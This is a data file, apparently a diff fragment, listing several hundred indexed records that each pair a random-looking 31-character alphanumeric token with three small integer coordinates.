+8640,TKMQH4UDW9JDOYSCVUMAZN8CRPPJB4I=,135,7,7 +8641,5SQ3P9GFBZPXKZZZWT3E692LGLIIBZW=,136,0,0 +8642,I6OY8XKF7R6T3D57637T82F8D3XN6E1=,136,0,1 +8643,RJP5S6Z59NZU5SF1BOTSGY87E0MT8QK=,136,0,2 +8644,ELTUTZOGZZXGAWMW09S1EP5B7EVJZ2F=,136,0,3 +8645,UN82H7034OKTTKIPKEPERBOINT1YHPI=,136,0,4 +8646,JR3IYTXDO3HSOY6RM0PDQK5KWU6FZQ1=,136,0,5 +8647,R1JX40TBHZW84RBTGEOP1961EYLAA8Y=,136,0,6 +8648,8PU6F4WD7OLVE3ADLVPEW6IDSXEXWCU=,136,0,7 +8649,6CHMLB9GN7NNR8GX6A61JZJ15HY82VB=,136,1,0 +8650,DNZW6TKXZK1JXCBQRGRX3VP8PX6DT19=,136,1,1 +8651,D3WDCIEBT4L0P2I70EXYJ35DZJPGU3P=,136,1,2 +8652,OSEFAQK32C4VEPSQVNKVVSE4BO7TYPN=,136,1,3 +8653,T51U4LFDARZ327LYRN593RGZHKHH2BI=,136,1,4 +8654,AVJUK24JJ121KLT4P2QKEW6S5FMTZXZ=,136,1,5 +8655,S3K22F9OUZA2SOCRX2CC5UGBZ5N1ZSJ=,136,1,6 +8656,M0ZCMFPMC82QZ2WSA5TLW07TU5GLPDW=,136,1,7 +8657,VOTLL9BAQFYM2VWUDGTPNCME2M93AC2=,136,2,0 +8658,FQBJWGOSINKPBGIT7LGJJ90H11U8V59=,136,2,1 +8659,09XI9N3VQFKZGR97H083YCYD2X3KRB5=,136,2,2 +8660,IHW0TE59B7DV53FV05YYYZD02PQ23BN=,136,2,3 +8661,1F7QS8XGYNYH24AMGX17ENYGJXN5ZNA=,136,2,4 +8662,2WEUFLGHB176ZW5LAN24Q865MB47XDO=,136,2,5 +8663,CS4A4WJK35CTYKKL45CAXL9MF556TE8=,136,2,6 +8664,FNDQ1IGQHSFN03YFCP4WJVY0PFWJ2RS=,136,2,7 +8665,O9ZIYDUDQWOG6XYYEIH5V890KTCA6MB=,136,3,0 +8666,HFC689Z887QR8ITLS997E0WHEXBYJG2=,136,3,1 +8667,EN7ZVK4NZ5ND1AN4SVYHSLENEVFU2JN=,136,3,2 +8668,HI2UAK63U3TLWU9VG586DWC367K1TEA=,136,3,3 +8669,1PYCP6B8WQUKQLEJV48D5VK695F4A49=,136,3,4 +8670,LMZN7GH0IVBQDI0X7AHCYJ6T4LO9ZBL=,136,3,5 +8671,VBZY0R55JRN7VXFRICM57EVO0358ZFO=,136,3,6 +8672,KS7AL2E8FFGTU0R5NB5T72VBA1FXDXP=,136,3,7 +8673,1EV7K0Z09LMJQ70PUJ2X4RCUMG1QTU4=,136,4,0 +8674,B6LRGIP2Z8541OSTX7WGJ2D7K2WLP5X=,136,4,1 +8675,K7AMYRHR3YS7V8X27MMR78HIM2R0MZI=,136,4,2 +8676,RG1K9J5NNMVHDC87ELV7SEI9G3W82HV=,136,4,3 +8677,QXLPVZQKYL81ECELHDZQ7QY0U13783Y=,136,4,4 +8678,U9T6H5WR30BO6KTT29CNF3KP0MAA31G=,136,4,5 +8679,JYJH9GFY0RDOVMTLQC3UKSGXCH98T5N=,136,4,6 +8680,TQ3G7MS6P7F9YOG0DS40DTI01CRUZCR=,136,4,7 +8681,WKDD9AAL3HGPR3V5W9LNKK6KIE7EXB2=,136,5,0 +8682,YBTRHPS4DSMRCS5K9CS9AI9GWOQYS6P=,136,5,1 +8683,R92X5CLS32FUPWZ32D5YK3W11CNBGEP=,136,5,2 +8684,RDU9EBYRG14OYM2JCY1PG9CAGOSRGVQ=,136,5,3 +8685,ANNM2I91XVCLAQCIZSV6O4TK43MZ81L=,136,5,4 +8686,3NKW5T19IDLLVEM1V6DSVUBAKKCED2U=,136,5,5 +8687,K5RR6VGYTJIP6ZAUBYNKSN6SAOLIQHH=,136,5,6 +8688,KSJ34BPWHR3LA24LOXCUDG5PKIZH8EH=,136,5,7 +8689,8C98PVA1CJDD40YTXLRNNHZM4F3AXUQ=,136,6,0 +8690,L6F0OTB03RM96DB6IRO517G0WXKDJ4N=,136,6,1 +8691,WL74CK9WOZ1D0L1WD6SZYWKD7QPY3WR=,136,6,2 +8692,A09LQPS42RFKQZ63S74FQ05ZRQPJ2H7=,136,6,3 +8693,R4TKOSASE64BKDS9GP0LNI3AWZVONQV=,136,6,4 +8694,BYHA3UQMVP99LZ1FTSQVZY2BS0WA9Z6=,136,6,5 +8695,XOUSBGGL7DKU79S890SYDZU7MTTSMMK=,136,6,6 +8696,BQ0OQDUCQMAZ2LT7NG39AE7O5RH8JTS=,136,6,7 +8697,QRNOOU5EEN1I8BRSMU5SEPCB711S314=,136,7,0 +8698,90D90QEIFCUSIV13YEX3HYJ7OYZ3BG7=,136,7,1 +8699,W4N7TS6Z4I54PPVXORDGOJZU9KOTOC9=,136,7,2 +8700,Y0O3UGUW1HQATNXZMNL4AFWQBV9KSXV=,136,7,3 +8701,M5CCBOA78WO47SQYGBYG2NES6C10EUR=,136,7,4 +8702,GZPHZKDR95VKEWLJNELFXHBBCE0ZUPE=,136,7,5 +8703,9XP5HTE9ZTPVDDVACTEQV3E5TPNFTZ5=,136,7,6 +8704,4S06T1IR50FTT9D1S8BRWIXFB3J3GZG=,136,7,7 +8705,DS0LJ1T3YQOUAHS0Q1C3UI6WXQQR1DP=,137,0,0 +8706,1UVLAAFXBGJ15ARB7T9UBKBO34GYUF4=,137,0,1 +8707,R7BFNMIZP3F6AMT71J4XCUD1P03KBAX=,137,0,2 +8708,SPE19SHO9PCFZ31N13ZNM8QADED9T23=,137,0,3 +8709,DBEEY27Q6QQVCGBQYBEXHQQ7WL6J48L=,137,0,4 +8710,P9VA25XFDZJGU34XHYAQARPTAIYCRDA=,137,0,5 +8711,WBOSW8W5BBINMSOUT8FC6CVV4XWEM7C=,137,0,6 +8712,OTIOF8WAPKWUJA0G0DCIZO94FBLE12T=,137,0,7 +8713,M4IHE7JP67QCLMZ3XIWRSGPJ72EEUOR=,137,1,0 +8714,B82M5S3BYXMD3HLUHN6PPT7J59ZRHPV=,137,1,1 +8715,GDH9BFJKVIR90YN6CX7UZHFG3F4D5NI=,137,1,2 +8716,5XQUCBIB8PFQXXU9A5130JP3FLM16U0=,137,1,3 +8717,85Q1QCK2NAWHZXSVTNOHEWNI86ZAARJ=,137,1,4 +8718,4DEI6A5Q9BWSJUCRZVTGUXJ86XHW5DC=,137,1,5 +8719,GI1WTCBWACKDPQFAT6I2T4L7Y4IIQXU=,137,1,6 +8720,5R3E1PRM69CPZC5B7OB4VJEG3OZXSV3=,137,1,7 +8721,MV3KP4LHOSN07SBN2SNKTB8LVDQ69EV=,137,2,0 +8722,YP5IDX675YIOAY5KZFATWGHJ19IUICE=,137,2,1 +8723,D9INOBCDMDJIFC1LA0DONZN0WD9DDAZ=,137,2,2 +8724,YEFEP1D9N3A6KJRX5ROB6RWTY3EJZWG=,137,2,3 +8725,88T4CKQM0J3X50Q8U2LTKOUV9ROFT86=,137,2,4 +8726,OZOAIDF8R32R8VD6JTUE4LH5JSEISJJ=,137,2,5 +8727,X7UCYPTJMAM5AWU7FF5N1Y43M4QON0M=,137,2,6 +8728,KEAV5AV05NIFXA9B11RJ6ZD9AJ0CHOY=,137,2,7 +8729,EYKJAU5RYNEUP8UCZDKDOH5Y1NRZGT9=,137,3,0 +8730,0KSH3HR0L2UYIK9Y2OF6B7HU0DG0LAC=,137,3,1 +8731,GFY95YPXSXB6UDL3PX8YHQ8NMN3VV7T=,137,3,2 +8732,NWWYHLP6YY7R70NKWQ3POAVDLN5YIIG=,137,3,3 +8733,EB972FXEN6GF2K222FIOAY8ROPG2606=,137,3,4 +8734,CLS1UQA657TKT8WZK6815WQGIVUJ2MK=,137,3,5 +8735,TCJK2P2XKGKNVAQFI89YNQ93QFM8QR4=,137,3,6 +8736,URPZ51NIMTTFWF778MFW8W0LK5B43JZ=,137,3,7 +8737,IJ0Z8AH88T31JCULU4Y4MRONNE3M08I=,137,4,0 +8738,CWR0VRXDA3ODNANSRBKF8QE2UHP6AUO=,137,4,1 +8739,4PMI1AM78R88PBPP8WMD2O5O78YWGEZ=,137,4,2 +8740,A9U28EQGM4FX1OZL19KXZJR3UX4T103=,137,4,3 +8741,XDY179BG2RP2D0EH3YUQ85YYBO4W10A=,137,4,4 +8742,PPVVHWUI1340G1MPXBQTJV87BZ3PJ84=,137,4,5 +8743,JO3R5AFAC18ESFQNHDIWKJPWY3M6LH3=,137,4,6 +8744,6S2Z1KK1SLX6HLK4O8HFTXUY332N0C1=,137,4,7 +8745,4G0XORO145EYN2IVUVE87O4B73NOZM4=,137,5,0 +8746,S5U54YYD0CJ2OC7WE8MRRVG85HQN2D7=,137,5,1 +8747,D864HAOHQT2LO73XA7UIIBO4ZBAI8FE=,137,5,2 +8748,HM1JIXHMMMX6G3Q6QG8TUC0I6KRMYSC=,137,5,3 +8749,MAGU5SHZJ7LN0NECJTWY9ENL3K6CXIA=,137,5,4 +8750,0Q7O7TX1KSSO0DO5HBGNSIVYXRDS55L=,137,5,5 +8751,DZJVWX60EP3VKDX0Q0HLKSB0NLT29IH=,137,5,6 +8752,YSZ7UX4LU18TA0HWYXI7KU01QKLJLRL=,137,5,7 +8753,U4JF8MF4DM2WG52YY0VA5XYG4QG66PF=,137,6,0 +8754,T4BQVUYJM44DH9R803WNQC48N7E6C3H=,137,6,1 +8755,Y9L8YS7FONH4SCSKP7AUY9SOP5AAGVU=,137,6,2 +8756,2JDYO9IFF4403ZGRX8IXTPMH23JPKK8=,137,6,3 +8757,9BO5OVLNYFX5IE10ZCVAAG34B0B6YW4=,137,6,4 +8758,GLGHNW1HC4PPPWDYYU77RJJEVERT2HP=,137,6,5 +8759,EVMKQOS3AOJNSWBYX75DQM8XHHJEVC5=,137,6,6 +8760,9V5ZYDRD55YDT1GBCLKS4W33SWEKHKT=,137,6,7 +8761,CWXYY9FK8Q3HY5875DA4GN4ALIHQQOL=,137,7,0 +8762,GNW8DEO0Z5KW1VR7ODB2OW4UJLM9QSH=,137,7,1 +8763,1TVOERP1J24GMH1ORBQ0XFD4W9RG8WL=,137,7,2 +8764,DWV9G6OZCDUDWKXJQGVWUAMICJ1ANX5=,137,7,3 +8765,BVNK98EKTV75MCU9Z49J0MN2W30BXZ6=,137,7,4 +8766,8ER20Z30ZWCS4QVKUQ0DEKPMPVLBWWE=,137,7,5 +8767,AL0KTSQPZ3ZH3K1VCIXDF5COOUDCDPN=,137,7,6 +8768,FM7B05OG7Q0JMK5CTIB2ITE6Y9ADP1I=,137,7,7 +8769,HERLJL0DIQJR9XINOGG6ORD8DYEMGQ1=,138,0,0 +8770,ID5Q2YTFX0O53AOKLYVB1Y5NXRT8LU3=,138,0,1 +8771,22AN26Q79L1MV128FRUBTPVBY24G0GF=,138,0,2 +8772,ED3FNM7QVJJYFTR8GRIXMG1TAWQULMT=,138,0,3 +8773,1GQEIFSQGK5DUMH69MFXJARN1XELP4N=,138,0,4 +8774,ZPI5INMK065JNR4NLC30TLKY5L6JXGJ=,138,0,5 +8775,LQVNJDCWG6MQYJN4HBQ14A836GECU71=,138,0,6 +8776,AFGRMX5GWLWS8OVAEH2C98I28K49XKK=,138,0,7 +8777,ENGPLQ5W460F8SFAVPETFYUH9E15T7T=,138,1,0 +8778,IJAQ7P9SHA2X6ZNCK1UEOWT6BBHW91J=,138,1,1 +8779,GCW482F18636E1JX518AP2NLP9H1JWA=,138,1,2 +8780,M7WESS5TCGFQUNKL0SOFH1N8TK4M43L=,138,1,3 +8781,11VFOE2G5Y83Z2JAVEK0AGKWESXVNP3=,138,1,4 +8782,T66L4NZSFLAXMQOKAPXQ0B8FBHX8J3L=,138,1,5 +8783,M6CJX86MEYX32P6GTA9RW217GNNI309=,138,1,6 +8784,H7X3VY09GAROG7IN6Q53GHI0BJPVU3N=,138,1,7 +8785,TVN8PKLEL4Q94LJER33QZPRCWW4FEA4=,138,2,0 +8786,1HRWPLVOUASU3QL8D2O4JOMG2I2U8T3=,138,2,1 +8787,PY8TUJED7YVVED6ZPPPZEO7268A9AWV=,138,2,2 +8788,YQNOAZOTC31RABZK68NOFOTACOWEI6V=,138,2,3 +8789,GQ6KOWE6SFKU7HSYVXZFLPW5WN2S428=,138,2,4 +8790,HT1ER8UOPPI12NMHKSPV1M3FG6ZHPXS=,138,2,5 +8791,7Y6WS7CVODYFFNDDHT9ZE2PSAPKYHQZ=,138,2,6 +8792,D7LE50DAERCOO0QXWYZJI66QSHCW5UI=,138,2,7 +8793,2EELL7HBENPW7H0BQ10K1CIJ18EZ613=,138,3,0 +8794,UHA86NSLUWVAXFU7SZXHHZL9F6CAB9U=,138,3,1 +8795,HEYIRGADQCQJU0KHE21XF277AY78QX3=,138,3,2 +8796,88NKNBMRTHIXZ29YQO4EAIQXD4FC0NL=,138,3,3 +8797,0VKZKZMXWGBGU4LY54RLNTEHZC2IULN=,138,3,4 +8798,CGJZY3HAO9IQK0VKE3XUL0SPSM9B3OM=,138,3,5 +8799,GJ5H2MWJ2JA8Z05UEKEWSPGIPT7XIKX=,138,3,6 +8800,5F45RYVVI2UQM35X17PN7E5KUXB1VI1=,138,3,7 +8801,G9WWKYMCE6MBBZKNAIYRP736BXHNYY9=,138,4,0 +8802,AZ7DWBH7J5LW4BU58VQZE3L4E70P8DN=,138,4,1 +8803,NQYPRPN7XQDX5MOHOEH77KGG19NGQCW=,138,4,2 +8804,0VXL5AKW22GL9N9T98N4FGX2BWINQAU=,138,4,3 +8805,RIXF0G01GUV343VTHP7XM2WRC9PNB99=,138,4,4 +8806,0RJ4X6AZ3KOO2WLTO3MPDTBKDZETPY0=,138,4,5 +8807,W09XUXOUU7NO5D0CJJ4KNSYROB7XCWB=,138,4,6 +8808,JM886N1Y4H9C17E41JV9A9QNPQ32TM5=,138,4,7 +8809,B1WNXH0R801GBJXA3HB3A580HUEST6Q=,138,5,0 +8810,6I1R93NCF29QXTBLPF3X2OWKSTXLXYJ=,138,5,1 +8811,K39YOLE2QF9TWS0393DL4VPVBD3V7MZ=,138,5,2 +8812,BQJY7W2XW19WE17UR8XLTM17JELEL4G=,138,5,3 +8813,XBYYWMN08IOZXAKGCJJGBRQQ96YT8T3=,138,5,4 +8814,8VS6VXBP5WQGXVNK15SF3PC0LIQO2TK=,138,5,5 +8815,PV43BZMN63APPNLQEVTB9J9HVXX2MP7=,138,5,6 +8816,849LO6FS2G1WGGYRL5S94QXX8TIS420=,138,5,7 +8817,MJXK7D0V9DYSRYHY3WRV6U4XD28LOVN=,138,6,0 +8818,UOP9LE0VU6T418BPQDNP2BQQ1DM5WHH=,138,6,1 +8819,OF82W1PCLRNAUAUX27CHFB64RJ8ZD3G=,138,6,2 +8820,4JBQHIJ19UJ1RM9TFYXF2DPZ5783QZL=,138,6,3 +8821,LIKQQNUEOGMBYYFG8QK38OF029VBHMK=,138,6,4 +8822,J0Z2T7PWLRAFFVL3QQD6VJ8PR8X3ZCV=,138,6,5 +8823,YI5M2JCWOP0D110LC9RZAZN7G614U2O=,138,6,6 +8824,MEFIE3J19518CSL44ESB8GFEGO9DTWE=,138,6,7 +8825,PCEENTNEVGFMWN6SW1VHNXSJK5VEU9R=,138,7,0 +8826,ZFGKN0D4RAGJRUQY6CQK944XKJ8IJXQ=,138,7,1 +8827,MEJHP6D5H78KPLCIRWYHERE4NX9I2BR=,138,7,2 +8828,6CP3IHP4JFPL39U9R8QEOUTMFV8UIJ6=,138,7,3 +8829,OCENWRTYQQXOB5EZIEWWSYG7KXCHWC1=,138,7,4 +8830,7X8PBM409E4U8GB2V6HCR9ULEMCDGRI=,138,7,5 +8831,9WHRNTP005LGKRNREOD5YK84HYQ0WMT=,138,7,6 +8832,VJ5S5F63TTKN0WVCAAWFTLEPAR4HCZT=,138,7,7 +8833,OZOQNORU2ZBQAQQ2BI1LG55CJWE9HZ2=,139,0,0 +8834,H94J2NBECJOYVIK956CQCL7DM2UFZ2T=,139,0,1 +8835,TWS9MUF55RQKZWO8G23PA7BZDC3ZFR0=,139,0,2 +8836,CAXD0EAIR2FY6A5H4AHTVWFZ5Q4Y3K8=,139,0,3 +8837,IBOHVHWNNVG7KGXTO6UT3VVHT9UOU40=,139,0,4 +8838,21K44RW29Q72BESSEQ5PIAFYQVB4YBH=,139,0,5 +8839,WJP5SZV3O279H6IYP6PQTXDMJL111XQ=,139,0,6 +8840,PAQ71M3B83JQX5PVLJJWOPFLKAKURFZ=,139,0,7 +8841,Y8URMBWS1Y8JZQ0W47347VEJT4M0M9A=,139,1,0 +8842,U6FL8T3T7UEIQZ3VQWMFVPK19MXACSG=,139,1,1 +8843,3DFVOFJBWKXPJUYXYUMCVSX5I8F80XF=,139,1,2 +8844,Z4XF7JK0ZZIYSGP0139NYJ3ZZYDXI04=,139,1,3 +8845,C3N6QOHKHHO02TF56NC99LU5SDJXRJC=,139,1,4 +8846,YKHQSBCK4L6SBA2ZZN8Z70FTWKLDCKK=,139,1,5 +8847,RLPJTOBLP8FEMOARODMTQ91P388MBWM=,139,1,6 +8848,NKWPA7GCFQF38TG6NVROI6I7ADVNEFL=,139,1,7 +8849,43AKKPY9USTZ46C0PB70ER9G4GHJTZR=,139,2,0 +8850,81J4TJP3FPSPUC2HLW3G397KWQ6YNQY=,139,2,1 +8851,HQ41R9BKRHA6KOLDYR0RJO3X172X1GW=,139,2,2 +8852,MSSS04UVKNUJ1TCICVKFW4YWRT6JGVE=,139,2,3 +8853,XNTDQI3AUOPSQJMEGFTNODZ4W8Z3WD2=,139,2,4 +8854,80MGD4540ACSN0O8V4XH0TPMJ2GD100=,139,2,5 +8855,7O6YJTQTI5ZDCY02RX0EXWS4ZJKCTEJ=,139,2,6 +8856,1GFJ4IOEXZRV4U1OZ3TH2TGY1RKDDDX=,139,2,7 +8857,VUJL631JAH8SJ2PCH599EDQWVKNBLZJ=,139,3,0 +8858,0H8AJVC7DD3YHL4QNWKRFM0A4OC1QP6=,139,3,1 +8859,DAHM68SHC1EW610R9YJVOFQE1U22YBS=,139,3,2 +8860,5VG6N4AQ4C41G4Q2XM2UH3SKJUT4FSK=,139,3,3 +8861,R4C233O87ZRTQB1EXSIW1SI3A1EP8L6=,139,3,4 +8862,QZ1JCSS52W5305PV8B0QOSPZVGR481V=,139,3,5 +8863,8MC9GW7NBTFGAH8D1F3J4HX25ZWGEHR=,139,3,6 +8864,UMY06YIVR2SW7OUV6NR9RUYHGFIZK14=,139,3,7 +8865,CEXVXWSVGWEEFWBTVB5IBO2L2PW79RE=,139,4,0 +8866,N2LCY8IPWMQFA101MPGM11LXDD1R1BF=,139,4,1 +8867,DWNPSB3A04GI3F3XQMX4EIE6B7YHOIK=,139,4,2 +8868,H6LDNJPCOUTS6FZGMQZSD552OVU2ILN=,139,4,3 +8869,8VYBDRX2AN7RU90POYULW225U5DBFZ9=,139,4,4 +8870,SLWP3T2311D9D2HIEUKPRDTGGACQ68C=,139,4,5 +8871,D7KORKL5X0DTJLZHMI1HQU1310XD3TG=,139,4,6 +8872,GD9B9IIEDI17ZHZW8P2T5W68DB8DBUJ=,139,4,7 +8873,6BWS6ADVT26X72ZW22QNQKCZRDWDHNV=,139,5,0 +8874,FLV6QPV92DW9PQBVJ4GFCN26HJ03RTC=,139,5,1 +8875,G40D57AMEGMTN3G03DS2R3EN4ZXTPM5=,139,5,2 +8876,UCXFXHV5AVP4H4HV0KUDAOHAYEU7QP7=,139,5,3 +8877,K2JFISQZDZWZXRU7TWNKKHOJAYUJQYZ=,139,5,4 +8878,IKO3EHZZD408LDHLDSENVRHZUCPLHM6=,139,5,5 +8879,5QG96TL0CI3LA2NS3F6AKPGZ7RDL2RV=,139,5,6 +8880,MPBP73WMORXHK75A50931VIYRPL1DVH=,139,5,7 +8881,COBPKT03P2DUVPF4CHJ0HUGRIY06BTC=,139,6,0 +8882,E5URHR6I1SQ26S4H4GPBM2CG9A65QMJ=,139,6,1 +8883,ZE1TU3PJLDZ0MQ639HA4JODR2PX5WNG=,139,6,2 +8884,KZN5NW6UMHSSQXQUBD2A1QZT9SYNSWI=,139,6,3 +8885,NQAWUFMVU22E7CCKNASQK8VJMU7BYH2=,139,6,4 +8886,QF7AOYBPPJHURO6YIXD253BC4VPZZDO=,139,6,5 +8887,FQO35UD4D76ZYJ8AQMYGW2EZ3VN5XC8=,139,6,6 +8888,JY3J6J8TMFD40RL0UPH89LMXM9DYDV6=,139,6,7 +8889,U0B9HWT5K6EGTRDBAFZ322FJ1IQ7YG8=,139,7,0 +8890,N5YDNXSC4B69TKWZ6S14U7QSYG7UL0W=,139,7,1 +8891,T2FZ4KLR9V9QFZST5O0YGJ2HAG0M5VC=,139,7,2 +8892,JS7GZK3FNOBK8IRUFLYQW7T9XY5WISY=,139,7,3 +8893,0ZZLM0RT3UX5ASZ72GCW8T38O2DZA2D=,139,7,4 +8894,RTJEWGG3C47HDCXHRAHOVDLYKXTJX9H=,139,7,5 +8895,YLJW6ODFXQRPRNOCZAHLPSDZAVW5TP8=,139,7,6 +8896,SOPOVMXP9PQ3EVOQVIE1WZPYO2HNPAG=,139,7,7 +8897,PNO9BDQ8EYB46C5QPAVAQ5NEZF4R0BB=,140,0,0 +8898,6XCKHDW8CE2XXM7EG6CTP0CD31JXZBI=,140,0,1 +8899,RJIM160SBKGOKH6CFLSL9NAB0ONWV0H=,140,0,2 +8900,R4LWQLCFCOF3VRM51C7OQEJ0PWK97YT=,140,0,3 +8901,TMQ4XFN8VK6RPNM9H6B7HOD9NWPZ74C=,140,0,4 +8902,5AH49K9UMI2Z8NCR1ST4CL84TKK9K06=,140,0,5 +8903,6ZJE990UVIUNDWTIS8J750BVD7TN3Z4=,140,0,6 +8904,HU2ZYQAKTDA6L6HIQE7XMD7RM4SBDU8=,140,0,7 +8905,8ZEU7KP4E1D2K10ZXAGWINSC804QZIQ=,140,1,0 +8906,Y4XS0G68F7GKGSKK5FQQ0BKO0DAZZU8=,140,1,1 +8907,L3IYJDB36LA9IVTN7JYLWXFTJFSO9PL=,140,1,2 +8908,MC3LLPCKMXYC6KA37Y62YR48QOWRHHW=,140,1,3 +8909,ME3Y0DXVZL8WWTVO8BSXY9HFZHIUTAA=,140,1,4 +8910,EICNALUKHBXNQ06D6T5BJ93GB1O9PJZ=,140,1,5 +8911,W44O4T44JMIZ09LEWM3REKAQ5VKMN1Y=,140,1,6 +8912,UB12EI5JEWN4A8XNHGH1XOS6RZJ2067=,140,1,7 +8913,Q1P4FIHW2LSIH35FJ5200EO87E7FEX8=,140,2,0 +8914,LB4AX88UEFN0SXMNUHZESBNW0EU4M0B=,140,2,1 +8915,8TEX4UGT7FCL06Z0GVLW4INUS2TDKLJ=,140,2,2 +8916,U7VSOP4B2S2G40831K9JZ8NRG026C8H=,140,2,3 +8917,S2NHUHJ8EN7LKWSOM3E3960IX2A3766=,140,2,4 +8918,MWV5WIXZJ86N03QFYH6C4BQHABE6TWT=,140,2,5 +8919,LXTOW7VDSHNUPKL74VF9WCOB4LCQ7Z8=,140,2,6 +8920,M2JM65YV549VDUUNKX3WFHL2JMPLDNM=,140,2,7 +8921,88JS7DJ9MEL72PEQJMMT57J9QZAN3NH=,140,3,0 +8922,L0O868P5CZDL7TOC10PO9JADWX8JCMD=,140,3,1 +8923,ER0YPJZMIB1V0DHUBJAUSFES7P69BBQ=,140,3,2 +8924,SOQI4V2PL4IFLID0TNO6NWX0ZXKMVDK=,140,3,3 +8925,ZU2ZQMEF5D2A3D8UKME3074M6Z9NOE7=,140,3,4 +8926,GB81M1VJPIW3RWPK9WNHQ2CTQOLGTN5=,140,3,5 +8927,YBUZQU26UGD9LJNWDX352B1WXYBS1Y5=,140,3,6 +8928,C5YVAO4R0VW1T8P37ZFHTBT1VQS7UUX=,140,3,7 +8929,RELFD6HV3B2670ORI5H6JALPMXUYPU0=,140,4,0 +8930,PHBJPUXXTFALGXZIFOWDDCOMQAQTBHA=,140,4,1 +8931,MD00HYJX7EYCHP9Q2PLW7FLNAR238U5=,140,4,2 +8932,C5MKEJ40WODTFE5PT7DZTIS0AW6VP6R=,140,4,3 +8933,2ED28PMB8WKL233W9ZNS8SXOSKBPPZK=,140,4,4 +8934,J3DNHA1DB7HCJZLYWQPF3CUSO517Z4E=,140,4,5 +8935,SIB8IVCCC3W3QCO9T6MOKZKK887IJPR=,140,4,6 +8936,R4ECO7WSZAHIPBBZGHMBONIAUBCSKZU=,140,4,7 +8937,TQJPB41GVXO7WH3OADJ0W8K7HITYONL=,140,5,0 +8938,FME7XPKIYCLFDU6HQD8ZPBTIWGOHYQ4=,140,5,1 +8939,JHDYWD35XDHHT0550QXRVWY4S6RSWW4=,140,5,2 +8940,FRVIW22BV0CAMFZJX857NXHSUMPZ0LU=,140,5,3 +8941,W2A27NX0THMM66RR0M0SY72RI9AYH88=,140,5,4 +8942,JVEURGH7ARRCSLF9C2P5PD8GA3B6PXS=,140,5,5 +8943,9X40YCXBXWZDNJWBB24XN57BGUY6QVE=,140,5,6 +8944,RZLWDVM28OTAZGF90FGSAMPQBBPCZQ3=,140,5,7 +8945,3Q7VQDIHKBIJGTQ3OCCU4T257HUTAIX=,140,6,0 +8946,TH0KHCW4SQ1GCJC4NE430BDAJMY270R=,140,6,1 +8947,90V2NIRS9MC4K0LO8MMRB5KD6C38WV2=,140,6,2 +8948,JGQUMIU7E4L8Y5XZ4ITXAQR8G8JA9BC=,140,6,3 +8949,INKEH4C3KGA0GLRPWKYYMNEDNZR3YEM=,140,6,4 +8950,BTLYPAOR9WPMN4Y51GF89I5MH0FMFOK=,140,6,5 +8951,EUAUX204R94MFSJKHYHU1N0Y11ZA7DB=,140,6,6 +8952,FBC6IRO89ZAMCIRUOUOON52PKNH656O=,140,6,7 +8953,MMYYYRK2H2QKUZEJXOYD07GSUCR5PTT=,140,7,0 +8954,CJE3IFN0NX1SV8UCL8RHNDPA7CP1Z1Z=,140,7,1 +8955,P9F59N6PHJYK4JZQLHPX26N9GWOMUZN=,140,7,2 +8956,Y39U2MJYJ2EC75PXGCSSKJEOQPDV46E=,140,7,3 +8957,TRN9AZX6XVX4MDCTB5KY6S8F9D6H359=,140,7,4 +8958,4IIDW1WCBG79W6PL4MV2QKG3HS9KRZ2=,140,7,5 +8960,XA4E4FF4V72VV0ZPFG5WI0ZJUS7T8ZZ=,140,7,7 +8961,BTPSHA92CC3KRLBB5UQ6QY8209IYJZF=,141,0,0 +8962,S5L21F2OT2L7IFUGAXVWGVU7AG38Y9P=,141,0,1 +8963,KI90I85CU13PTG2ENMFEP04V6RP64IE=,141,0,2 +8964,SV4U0L8XDDQ3DHBES31R4MA3FSWRLLC=,141,0,3 +8965,QY8WZNKCDWPNR1YP3V2ZSLJTHHHSQWG=,141,0,4 +8966,EDCVRU9RX6QL0S4M6P6QCKFZTB67J4I=,141,0,5 +8967,UE7RTSGBI0BG9ZG3RK51C2UXWFKV9AF=,141,0,6 +8968,IDPP65ZRNUP2CLQNU4B9Q8DRGC2FL8D=,141,0,7 +8969,SDE2LFJ1TH1YFF0F8ZWKN517RNQMHG1=,141,1,0 +8970,MJA6ADI8A64WXLZBNBYCRY92VKEUPEY=,141,1,1 +8971,UMO8BCAIIBSUTRD8WEE1EIY703MGE8X=,141,1,2 +8972,J8MLWZJRV5PGSOV0T6373YRLUYWIHA9=,141,1,3 +8973,ABKYIV5UDRLK6IX2IS35KDL1GJARSXG=,141,1,4 +8974,S4IYZ7A806GJ5235GQV25F7WG3DDJH3=,141,1,5 +8975,5P7CEEKLLVQAO57E75M4UVOW9QZVU55=,141,1,6 +8976,ESYD6E4S0YQJPLXDZC2R1JJ9U0SMGWU=,141,1,7 +8977,XD9O6HEYY9JED9H2F0L7LT4YWTD9O0O=,141,2,0 +8978,Q8691O5TNK5LU3M5TFXR4VPKJ6MEH63=,141,2,1 +8979,1SY7N1MQRVI06CRYBGJZZHAX80CTQ5Z=,141,2,2 +8980,P2RRU83JSVBKWVEULU1G5J4JJ9SX6T7=,141,2,3 +8981,A3ELL1KO5GAQA8WH5ILL41QBWWYH4OM=,141,2,4 +8982,FJZ1NGUS1OXIF0GBPNHD86MVLBYKL0I=,141,2,5 +8983,D3HLQ7LKRC057U7VAUKVGULKJ9T61CO=,141,2,6 +8984,EZDP8BGYE6HF5FQIEGMCOAAPW1961AL=,141,2,7 +8985,QMTXGV1G63IPSANUWN04G5BCBV91DRE=,141,3,0 +8986,ALM73PJDD85TXSVAW3A8KBXYA60M1K7=,141,3,1 +8987,Z80RP2AXLM2TLE5WBQIKHJ73UUC96O2=,141,3,2 +8988,KC5N2FB8MK4PF262RSXFGU578O479NI=,141,3,3 +8989,WY9U5UA2BFN4CD5171WRQST7FY4KU3L=,141,3,4 +8990,OLC588EN2KY8RXBSYCZ9MZ1ZDBUL46C=,141,3,5 +8991,PFP9NSI148MLXV5D2EFWZ6G4FL8X95U=,141,3,6 +8992,6CT7OB11M2LO1VJ1UT3CDLYQS4ANKUU=,141,3,7 +8993,33YXSP21NPC5PB7F9OH1PEJAJNM72G2=,141,4,0 +8994,HHVUU3797EI7U3X0SK1BAW9YG8CIN21=,141,4,1 +8995,6VTO9FX34FH28Y4D0ZTJLSKO0T4SCTF=,141,4,2 +8996,FG67C42EZ925K6H29SS807E6BI59IHY=,141,4,3 +8997,5II0ONA43H22EGZ7U0HWI61NNN0BBCN=,141,4,4 +8998,J79OR9LNIJS0W41KEFBLZQ6UBFQM300=,141,4,5 +8999,QRXJ40IO8VG749PLLNWCL5XNX93DIK8=,141,4,6 +9000,A876N1X3XW6HZ3YFAJIWMO1SMMRBAXH=,141,4,7 +9001,04XJMBY6SLFEH13Q46ULAG7161WUV5E=,141,5,0 